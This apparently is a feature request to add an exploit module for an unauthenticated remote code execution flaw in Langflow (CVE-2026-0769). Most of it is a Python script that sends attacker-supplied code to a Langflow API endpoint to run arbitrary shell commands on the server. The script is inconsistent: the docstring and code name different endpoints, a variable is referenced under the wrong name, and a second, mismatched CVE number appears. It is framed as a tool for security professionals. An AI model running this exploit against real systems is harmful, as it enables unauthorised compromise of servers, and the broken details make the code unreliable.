ENH: Exploit module for Langflow Unauthenticated Remote Code Execution vulnerability CVE-2026-0769

[rmhowe425]

Summary

Requesting to add an exploit module in exploit/multi/http for an unauthenticated remote code execution vulnerability impacting Langflow, allowing an attacker to execute arbitrary python code on a victim machine.

Basic example

# Exploit Title:  Langflow 1.3.2 - Unauth RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.3.2
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-0769

from requests import get, post
from argparse import ArgumentParser


def exploit(base_url: str, cmd: str | None=None):
    """
    Triggers CVE-2026-0769 by sending an unauth POST
    request to `/api/v1/validate/code` with attacker provided Python code.

    If a value for `cmd` is provided, execute a bash command.

    If no value for `cmd` is provided, trigger a Divide By Zero error to provide Python code execution.

    Parameters
    ----------
    base_url : str
        URL of Langflow instance.
    cmd : str
        Attacker provided command.

    NOTES
    -----
    Bash output isn't returned because the endpoint only returns the component template and metadata.
    The bash output is stored in _out within the build scope and isn't serialized into the JSON response,
    so the lack of command output doesn't mean the command wasn't executed.
    """
    endpoint = '/api/v1/custom_component'
    headers = {'Content-Type': 'application/json'}

    if not cmd:
        CODE = 'from langflow.custom import Component\nfrom langflow.schema import Data\nfrom langflow.io import Output\n_out = 1 / 0\nclass TestComponent(Component):\n    display_name = "ValidationTest"\n    outputs = [Output(display_name="Out", name="out", method="run")]\n    def run(self) -> Data:\n        return Data(data={"output": _out})'
    else:
        CODE = f"import subprocess as _sp\n_out = _sp.check_output({command!r}, shell=True, stderr=_sp.STDOUT).decode(errors=\"replace\").strip()\nfrom langflow.custom import Component\nfrom langflow.io import Output, MessageTextInput\nfrom langflow.schema import Data\nclass PwnComponent(Component):\n    display_name = 'CVE-2026-18729-Probe'\n    name = 'PwnComponent'\n    inputs = [MessageTextInput(display_name='In', name='input_value')]\n    outputs = [Output(display_name='Out', name='out', method='run')]\n    def run(self) -> Data:\n        return Data(data={{'output': _out}})"

    json_body = {
        'code': CODE,
        'frontend_node': {},
    }
    
    try:
        resp = post(base_url + endpoint,
                    headers=headers,
                    json=json_body
                    )
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        return resp.json()

    raise RuntimeError(f"API returned with status code: {resp.status_code} and error: {resp.json()}")
    

def main():
    parser = ArgumentParser(description="Exploit for Langflow RCE CVE-2026-0769")
    parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument('-c', '--command', required=False, help="Bash command to execute.")
    args = parser.parse_args()

    # Trigger Vulnerability
    res = exploit(base_url=args.url, cmd=args.command)
    print(res)


main()

Motivation

The addition of this module provides security professionals with a reliable method to identify vulnerable Langflow instances that pose unnecessary risk to their network environment.